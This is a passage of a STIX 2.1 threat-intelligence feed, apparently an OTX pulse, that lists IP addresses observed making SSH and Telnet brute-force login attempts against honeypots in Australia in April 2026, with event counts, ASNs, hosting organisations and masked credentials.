      "modified": "2026-04-24T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '207.46.224.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T10:15:10.000Z",
      "valid_until": "2026-05-26T10:15:08.000Z"
    },
    {
      "created": "2026-04-24T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC. Usernames observed (masked): G************1, U******************************************************************************************0. Passwords observed (masked): A**********, H**********************3.",
      "id": "indicator--a4783fb3-c137-4404-82bd-bd67c6780023",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T10:15:10.000Z",
      "valid_until": "2026-05-26T10:15:08.000Z"
    },
    {
      "created": "2026-04-24T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 19108. Organisation(s): Optimum.",
      "id": "indicator--0dc45f63-c07e-4894-b060-1e30db07f989",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '75.111.180.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T10:15:10.000Z",
      "valid_until": "2026-05-26T10:15:08.000Z"
    },
    {
      "created": "2026-04-24T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 124. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 8560. Organisation(s): IONOS SE. Usernames observed (masked): r**t, s***m, 3**********4, ***, t**t. Passwords observed (masked): 1****1, 1**********E, 3***********4, 3**********4, a******@.",
      "id": "indicator--7de366a6-dc5b-4376-88a7-ab4faf1b8d41",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '81.173.112.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T10:15:10.000Z",
      "valid_until": "2026-05-26T10:15:08.000Z"
    },
    {
      "created": "2026-04-24T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 18126. Organisation(s): Chubu Telecommunications Company, Inc..",
      "id": "indicator--b1610936-2175-4d07-9398-5a5f24777c84",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '118.105.69.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T11:15:10.000Z",
      "valid_until": "2026-05-26T11:15:08.000Z"
    },
    {
      "created": "2026-04-24T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--03496b0f-4580-422a-955a-f6a6b811c5e9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '144.48.135.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T11:15:10.000Z",
      "valid_until": "2026-05-26T11:15:08.000Z"
    },
    {
      "created": "2026-04-24T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH.",
      "id": "indicator--b9c82a63-6f33-4988-a2b2-85cb811dd2ea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '173.249.24.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T11:15:10.000Z",
      "valid_until": "2026-05-26T11:15:08.000Z"
    },
    {
      "created": "2026-04-24T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--737c298e-b791-4da6-b1bc-494a23a45b76",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T11:15:10.000Z",
      "valid_until": "2026-05-26T11:15:08.000Z"
    },
    {
      "created": "2026-04-24T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--cc4a4a92-56d9-47fa-aa26-681692de2fc6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '64.226.107.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T12:15:10.000Z",
      "valid_until": "2026-05-26T12:15:08.000Z"
    },
    {
      "created": "2026-04-24T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--7a895b70-6d18-49e2-9862-6f979363c91d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '68.183.218.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T12:15:10.000Z",
      "valid_until": "2026-05-26T12:15:08.000Z"
    },
    {
      "created": "2026-04-24T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--b30caee9-6d1a-4608-b5c5-d7587103f0d1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '8.222.163.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T12:15:10.000Z",
      "valid_until": "2026-05-26T12:15:08.000Z"
    },
    {
      "created": "2026-04-24T13:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 272. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, 3**********4, f****e, p******s, ***. Passwords observed (masked): 3***********4, 3**********4, 0**0, 1*******@, 1******W.",
      "id": "indicator--ee55b0a7-7163-4fa4-adc9-567e5b0e2cbe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.49.238.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T13:15:10.000Z",
      "valid_until": "2026-05-26T13:15:08.000Z"
    },
    {
      "created": "2026-04-24T13:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 374. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4, d****y, e*****t, f****e. Passwords observed (masked): 3***********4, 3**********4, !********t, 0**0, 1****0.",
      "id": "indicator--2ad0b7d8-4d73-4256-bd28-45398a1b2192",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '152.32.218.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T13:15:10.000Z",
      "valid_until": "2026-05-26T13:15:08.000Z"
    },
    {
      "created": "2026-04-24T13:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 135983. Organisation(s): Tino Group Joint Stock Company. Usernames observed (masked): u****u. Passwords observed (masked): 1******W.",
      "id": "indicator--25426c03-fee4-4ecc-baf0-783ab59be275",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '160.187.240.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T13:15:10.000Z",
      "valid_until": "2026-05-26T13:15:08.000Z"
    },
    {
      "created": "2026-04-24T13:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 44. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--401c8632-2216-4834-a4d9-5d1e1aba3dcf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '182.117.54.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T13:15:10.000Z",
      "valid_until": "2026-05-26T13:15:08.000Z"
    },
    {
      "created": "2026-04-24T13:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SE. ASN(s): 42237. Organisation(s): w1n ltd. Usernames observed (masked): a*******y. Passwords observed (masked): a*******y.",
      "id": "indicator--43447e83-f2fe-4263-af13-28a2a19a0907",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '193.105.134.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T13:15:10.000Z",
      "valid_until": "2026-05-26T13:15:08.000Z"
    },
    {
      "created": "2026-04-24T14:15:12.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22, 23. Source country: NL. ASN(s): 136258. Organisation(s): BrainStorm Network, Inc.",
      "id": "indicator--f82ad02b-c6cd-4fae-ae7c-54074221149b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T14:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '109.104.154.181']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T14:15:12.000Z",
      "valid_until": "2026-05-26T14:15:08.000Z"
    },
    {
      "created": "2026-04-24T14:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 7679. Organisation(s): QTnet,Inc..",
      "id": "indicator--7b3e2ac8-14d6-4fb2-8753-bac381767f9c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T14:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '110.54.127.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T14:15:12.000Z",
      "valid_until": "2026-05-26T14:15:08.000Z"
    },
    {
      "created": "2026-04-24T15:15:22.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1511. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: LU. ASN(s): 214472. Organisation(s): Offshore LC. Usernames observed (masked): r**t, d****y, u****u, a***n, s*****t. Passwords observed (masked): 1****6, ***, 1***5, 1******8, 1******X.",
      "id": "indicator--09d5144c-b7d0-4d84-a1e7-4609618836ab",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T15:15:22.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T15:15:22.000Z",
      "valid_until": "2026-05-26T15:15:09.000Z"
    },
    {
      "created": "2026-04-24T15:15:22.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SK. ASN(s): 31117. Organisation(s): ENERGOTEL a.s..",
      "id": "indicator--b741667f-034e-4000-887b-dd98b91e3a07",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T15:15:22.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '87.244.229.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T15:15:22.000Z",
      "valid_until": "2026-05-26T15:15:09.000Z"
    },
    {
      "created": "2026-04-24T16:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--237bf5a8-168b-4b3a-8167-7f81f8df985a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T16:15:11.000Z",
      "valid_until": "2026-05-26T16:15:08.000Z"
    },
    {
      "created": "2026-04-24T16:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MY. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--04c7d252-f36c-4afe-8f77-b89166e955c7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '47.254.192.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T16:15:11.000Z",
      "valid_until": "2026-05-26T16:15:08.000Z"
    },
    {
      "created": "2026-04-24T16:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 7922. Organisation(s): Comcast Cable Communications, LLC.",
      "id": "indicator--fe0dc80c-8d74-4db1-83fa-db60b4fedaed",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '98.47.223.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T16:15:11.000Z",
      "valid_until": "2026-05-26T16:15:08.000Z"
    },
    {
      "created": "2026-04-24T16:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 7018. Organisation(s): AT&T Enterprises, LLC. Usernames observed (masked): r**t, 3**********4, f******n, o****e. Passwords observed (masked): 3***********4, 3**********4, A******4, O********4, R*******#.",
      "id": "indicator--dbbca4f6-be4a-4f70-ad96-5db60d88d1a5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '99.92.204.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T16:15:11.000Z",
      "valid_until": "2026-05-26T16:15:08.000Z"
    },
    {
      "created": "2026-04-24T17:15:44.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: NL. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt).",
      "id": "indicator--71b2d3eb-d56c-4c60-b8c7-b65eea03a7f0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T17:15:44.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '176.65.149.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T17:15:44.000Z",
      "valid_until": "2026-05-26T17:15:09.000Z"
    },
    {
      "created": "2026-04-24T17:15:44.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ZW. ASN(s): 37204. Organisation(s): TELONE. Usernames observed (masked): r**t, p******s, u****u, 3**********4, d******r. Passwords observed (masked): 3***********4, 3**********4, 7****!, A*******], A***********$.",
      "id": "indicator--c539abe4-5e24-4809-8442-223b771cdb0d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T17:15:44.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '197.221.232.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T17:15:44.000Z",
      "valid_until": "2026-05-26T17:15:09.000Z"
    },
    {
      "created": "2026-04-24T17:15:44.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 10439. Organisation(s): CariNet, Inc..",
      "id": "indicator--68ebda31-294a-4189-a0e4-4a32f4e72040",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T17:15:44.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.240.236.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T17:15:44.000Z",
      "valid_until": "2026-05-26T17:15:09.000Z"
    },
    {
      "created": "2026-04-24T17:15:44.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--02980be0-31aa-4b25-9131-b7a3dccbe237",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T17:15:44.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '98.80.4.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T17:15:44.000Z",
      "valid_until": "2026-05-26T17:15:09.000Z"
    },
    {
      "created": "2026-04-24T18:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 203. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, ***, 3**********4, a**y, a****w. Passwords observed (masked): 1****1, 1**4, 1******8, 1**********X, 3***********4.",
      "id": "indicator--74aa0a40-ff35-4f56-bece-bb12f2cceb1b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T18:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '43.157.213.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T18:15:16.000Z",
      "valid_until": "2026-05-26T18:15:09.000Z"
    },
    {
      "created": "2026-04-24T19:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 233. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 136284. Organisation(s): Paradise Telecom Pvt Ltd. Usernames observed (masked): r**t, u****u, u***1, 3**********4, a***d. Passwords observed (masked): *, 0**1, 1****6, 3***********4, 3**********4.",
      "id": "indicator--f056e28e-2757-4cd1-a1ac-60cce09dfced",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T19:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.86.180.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T19:15:06.000Z",
      "valid_until": "2026-05-26T19:15:03.000Z"
    },
    {
      "created": "2026-04-24T19:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--cbfb5fcc-006b-4dbd-804b-1d23af1609b2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T19:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '172.235.40.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T19:15:06.000Z",
      "valid_until": "2026-05-26T19:15:03.000Z"
    },
    {
      "created": "2026-04-24T19:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UY. ASN(s): 6057. Organisation(s): Administracion Nacional de Telecomunicaciones.",
      "id": "indicator--8b8718f4-1bbd-4897-b469-42b2a916a7e7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T19:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '186.55.151.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T19:15:06.000Z",
      "valid_until": "2026-05-26T19:15:03.000Z"
    },
    {
      "created": "2026-04-24T19:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 233. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MX. ASN(s): 11172. Organisation(s): Alestra, S. de R.L. de C.V.. Usernames observed (masked): r**t, m****s, u****u, 3**********4, a***n. Passwords observed (masked): 1****6, ***, 3***********4, 3**********4, 6****9.",
      "id": "indicator--7962e455-9acd-423c-aa05-ef164fdb2cb2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T19:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '189.206.155.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T19:15:06.000Z",
      "valid_until": "2026-05-26T19:15:03.000Z"
    },
    {
      "created": "2026-04-24T19:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 8560. Organisation(s): IONOS SE.",
      "id": "indicator--2c2c30e3-84a3-4442-b086-4804b18ad1bf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T19:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '85.215.254.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T19:15:06.000Z",
      "valid_until": "2026-05-26T19:15:03.000Z"
    },
    {
      "created": "2026-04-24T20:15:30.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 4685. Organisation(s): Asahi Net. Usernames observed (masked): r**t. Passwords observed (masked): A**********@.",
      "id": "indicator--62cf7850-c7ba-4e05-9766-c4d64ed70062",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T20:15:30.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '124.155.125.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T20:15:30.000Z",
      "valid_until": "2026-05-26T20:15:08.000Z"
    },
    {
      "created": "2026-04-24T20:15:30.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): *, a***n, ***. Passwords observed (masked): , *, a***n.",
      "id": "indicator--178918be-09c2-442d-b569-59bf40a88eaa",
      "labels": [
